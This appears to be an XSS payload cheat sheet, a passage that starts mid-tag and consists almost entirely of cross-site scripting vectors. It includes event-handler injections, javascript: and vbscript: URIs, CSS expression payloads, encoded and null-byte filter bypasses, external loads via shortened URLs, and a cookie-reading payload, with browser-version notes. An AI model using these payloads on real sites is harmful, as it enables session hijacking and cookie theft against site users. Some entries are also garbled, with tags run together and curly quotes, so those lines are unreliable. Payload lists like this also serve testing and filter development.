ipt>
%c1;alert(/xss/);// "onclick=alert(1)// ">
29 onscroll=alert(26)>
Clickme
ClickHere
Clickme
clickit
<embed/src=//goo.gl/nlX0P> <form action="Javascript:alert(1)"><input type=submit> <isindex action="javascript:alert(1)" type=image> <isindex action=j	a	vas	c	r	ipt:alert(1) type=image> <isindex action=data:text/html, type=image <span class="pln"> </span><span class="tag"><formaction</span><span class="pun">=</span><span class="atv">&#039;data:text&sol;html,&lt;script&gt;alert(1)&lt/script&gt&#039;</span><span class="tag">><button></span><span class="pln">CLICK</span> <isindexformaction="javascript:alert(1)" type=image> <input type="image" formaction=JaVaScript:alert(0)> <form><button formaction=javascript:alert(1)>CLICKME <table background=javascript:alert(1)></table> // Works on Opera 10.5 and IE6 <video poster=javascript:alert(1)//></video> // Works Upto Opera 10.5 <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="> <object/data=//goo.gl/nlX0P? <applet code="javascript:confirm(document.cookie);"> // Firefox Only <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always> <svg/onload=prompt(1);> <marquee/onstart=confirm(2)>/ <body onload=prompt(1);> <select autofocus onfocus=alert(1)> <textarea autofocus onfocus=alert(1)> <keygen autofocus onfocus=alert(1)> <video><source onerror="javascript:alert(1)"> <q/oncut=open()> <q/oncut=alert(1)> <marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)> <body language=vbsonload=alert-1 // Works with IE8 <command onmouseover="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x66\x6 9\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command> <a onmouseover="javascript:window.onerror=alert;throw 1> <img src=x onerror="javascript:window.onerror=alert;throw 1"> <body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29'; <img style="xss:expression(alert(0))"> // Works upto IE7. <div style="color:rgb(''x:expression(alert(1))"></div> <style>#test{x:expression(alert(/XSS/))}</style> <a onmouseover=location=’javascript:alert(1)>click <body onfocus="location='javascrpt:alert(1) >123 <meta http-equiv="refresh" content="0;url=//goo.gl/nlX0P"> <meta http-equiv="refresh" content="0;javascript:alert(1)"/> <svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:\u0061lert(1);"></g></svg> <svg xmlns:xlink=" r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/> <svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"</svg> <meta content="
 1 
;JAVASCRIPT: alert(1)" http-equiv="refresh"/> <math><a xlink:href="//jsfiddle.net/t846h/">click <svg><script>alert(/1/)</script> <svg><script>alert( 1) </script><script>alert(1)</script> <a href="j&#x26#x41;vascript:alert%252831337%2529">Hello</a> <input value="XSStest" type=text> "><imgsrc=x onerror=prompt(0);> " autofocusonfocus=alert(1) " onmouseover="prompt(0) x=" " onfocusin=alert(1) autofocus x=" " onfocusout=alert(1) autofocus x=" " onblur=alert(1) autofocus a=" ";alert(1) ";document.body.addEventListener("DOMActivate",alert(1)) ";document.body.addEventListener("DOMActivate",prompt(1)) ";document.body.addEventListener("DOMActivate",confirm(1)) <a href=”Userinput”>Click</a> <a href=”javascript:alert(1)//”>Click</a> javascript:alert(1) javaSCRIPT:alert(1) JaVaScRipT:alert(1) javas	cript:\u0061lert(1); javascript:\u0061lert(1) avascript:alert(document.cookie) vbscript:alert(1); vbscript:alert(1); vbscr	ipt:alert(1)" encodeURIComponent('userinput') -alert(1)- -prompt(1)- -confirm(1)- encodeURIComponent(''-alert(1)-'') encodeURIComponent(''-prompt(1)-'') <svg><script>varmyvar=”YourInput”;</script></svg> www.site.com/test.php?var=text”;alert(1)// <svg><script>varmyvar="text";alert(1)//";</script></svg> src=x onerror=prompt(0); ???script?alert(1)?/script? <scri%00pt>alert(1);</scri%00pt> <scri\x00pt>alert(1);</scri%00pt> <s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t> <script>alert(1);</script> <%0ascript>alert(1);</script> <%0bscript>alert(1);</script> <// style=x:expression\28write(1)\29> <!--[if]><script>alert(1)</script --> <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> <%div%20style=xss:expression(prompt(1))> <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>rhainfosec <iframesrc='http://www.target.com?foo="xss autofocus/AAAAA onfocus=location=window.name//' name="javascript:alert("XSS")">
confirm(0);
rhainfosec
"/>
a